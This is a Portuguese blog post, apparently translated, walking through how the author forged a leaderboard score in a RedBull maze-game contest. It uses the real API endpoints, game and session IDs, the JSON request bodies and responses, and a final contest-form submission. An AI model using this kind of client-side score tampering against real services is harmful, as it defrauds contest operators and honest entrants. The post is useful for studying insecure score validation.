Como "hackear" o RedBull

De fato, é mais correto nomear o artigo "Como conseguir pontos na competição para ganhar uma geladeira RedBull inteira". A propósito, já temos uma geladeira com bebidas em nosso escritório.



Quando mais uma vez foram entregues sucos, refrigerantes e outras bebidas ao escritório, encontrei um panfleto anunciando a competição, cuja essência era completar o jogo e o vencedor ganharia uma geladeira por bebidas energéticas.

A segunda geladeira não nos machucaria - acabamos de expandir e temos novas salas de escritório. Então, segui o link e decidi tentar a sorte, minha tentativa foi um fracasso e acabei em algum lugar no final da classificação. O jogo era passar por vários níveis do labirinto o mais rápido possível.

Agora você precisa colocar óculos de sol, ativar vpn, todos os tipos de proxies, etc.

Vamos ao que interessa


Sabendo muito bem que qualquer jogo na web é uma sequência de solicitações e conhecendo o mercado de desenvolvimento, onde há muitos amadores, decidi tentar a sorte na outra direção e de repente tropeço em buracos no jogo. Não que eu precisasse tanto dessa geladeira, ela só me interessava por esportes.

http://redbull.ru/work
Vamos rastrear solicitações no navegador, depois tentaremos enviar as mesmas solicitações, mas com os valores alterados.



O primeiro passo é uma solicitação para iniciar o jogo:

https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/api/high-scores/games/8970c40a-98f0-4395-85c8-66177fb38af0/runs

Ao mesmo tempo, notamos no link id = 8970c40a-98f0-4395-85c8-66177fb38af0.
Algumas vezes atualizamos a página no navegador, ela abre a partir de um IP diferente e em outro navegador, esse parâmetro não muda, assumimos que esse é um identificador constante para o jogo.

Também observamos que nos parâmetros do cabeçalho do tipo de dados

accept: 
application/vnd.api+json

Em resposta a esta solicitação, obtemos a resposta:



{
    "data":{
        "attributes":{
            "finished_at":null,
            "game_day":114,
            "game_week":17,
            "score":null
        },
        "id":"4f89d56d-884e-42e8-909d-d1e7547cc1d8",
        "links":{
            "self":"https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/runs/4f89d56d-884e-42e8-909d-d1e7547cc1d8"
        },
        "relationships":{},
        "type":"runs"
    },
    "included":[],
    "links":{
        "self":"https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/runs/4f89d56d-884e-42e8-909d-d1e7547cc1d8"
    }
}

Na resposta, você pode notar diferentes atributos e mais um id = 4f89d56d-884e-42e8-909d-d1e7547cc1d8, que parece ser nosso identificador pessoal para o jogo.

Começamos o jogo.



Observamos os pedidos. Vemos que nada de novo aparece, ou seja, não há etapas da passagem do gatilho do jogo. Só por precaução, verifiquei, talvez algo aconteça nos soquetes da web - também está vazio lá.



No final do jogo, estamos em algum lugar no ranking, mas não somos os primeiros a ficar muito tristes. Por enquanto.
Nós olhamos para o console e vemos que mais 2 pedidos foram enviados, mas um deles era para receber artigos, o outro para obter a classificação dos jogadores. Aqui há pouca utilidade, lembramos a classificação do primeiro lugar - 61454667.

Clique no botão para salvar o resultado.



Outra solicitação de URL foi enviada

https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/api/high-scores/games/8970c40a-98f0-4395-85c8-66177fb38af0/runs/4f89d56d-884e-42e8-909d-d1e7547cc1d8/submit

com parâmetros

{
    "data":{
        "id":"8970c40a-98f0-4395-85c8-66177fb38af0",
        "type":"runs",
        "attributes":{
            "score":11041900
        }
    }
}

Torna-se óbvio que o link é formado a partir da identificação estática do jogo e da identificação da nossa sessão. Nos parâmetros, a conta é transferida, que será salva por nós e participará da classificação.



No próximo estágio, uma página com um formulário é aberta, carregada em um iframe. Percebemos que nosso ID de sessão está envolvido no link:
https://redbull.jotform.com/93071907238864&runid=4f89d56d-884e-42e8-909d-d1e7547cc1d8&runscore=11041900&redirect=https://maze.redbull.com

Após o envio do formulário, recebemos uma confirmação.



Agora, repetimos todos os mesmos pedidos, mas não através do navegador.

Vou usar o Postman.

Enviamos um pedido de

https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/api/high-scores/games/8970c40a-98f0-4395-85c8-66177fb38af0/runs




Recebeu a resposta:

{
    "data": {
        "attributes": {
            "finished_at": null,
            "game_day": 114,
            "game_week": 17,
            "score": null
        },
        "id": "f95dad7c-eecf-4d3a-88e9-a32661a484e4",
        "links": {
            "self": "https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/runs/f95dad7c-eecf-4d3a-88e9-a32661a484e4"
        },
        "relationships": {},
        "type": "runs"
    },
    "included": [],
    "links": {
        "self": "https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/runs/f95dad7c-eecf-4d3a-88e9-a32661a484e4"
    }
}

Mais importante aqui

id = f95dad7c-eecf-4d3a-88e9-a32661a484e4

Agora, forme um link para obter a classificação. Necessitaremos de nosso ID de sessão e de um resultado que seja maior que o registro atual 61454667. Para estética, pegue o primeiro dígito do número 2 * pi, apenas um pouco mais que o registro.

Enviar um pedido

https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/api/high-scores/games/8970c40a-98f0-4395-85c8-66177fb38af0/runs/f95dad7c-eecf-4d3a-88e9-a32661a484e4/leaderboard?score=62831853&filter[interval]=none



Na resposta, vemos que já somos os primeiros da lista, agora salvaremos o resultado.

Enviaremos uma solicitação para

https://rb-prjct-crtns-gamebackend-eu.herokuapp.com/api/high-scores/games/8970c40a-98f0-4395-85c8-66177fb38af0/runs/f95dad7c-eecf-4d3a-88e9-a32661a484e4/submit

Nesta solicitação, é importante especificar os atributos dos cabeçalhos.





Super! Tudo correu bem, recebeu confirmação do resultado. Agora você precisa enviar detalhes de contato para que a RedBull entre em contato conosco.

Para fazer isso, basta abrir um link no navegador com o formulário com o nosso ID de sessão.

https://redbull.jotform.com/93071907238864&runid=f95dad7c-eecf-4d3a-88e9-a32661a484e4&runscore=61454667&redirect=https://maze.redbull.com



Preencha o formulário.

Nós enviamos.



Recebemos confirmação!

A competição já terminou, terminou até 31 de janeiro de 2020.

PS No momento da publicação, o sorteio foi concluído, durante a campanha em que não participamos, não reivindicamos vitória. Todas as descrições são apenas para fins informativos. Nenhum valor comercial ou outro foi perseguido por essas ações.

All Articles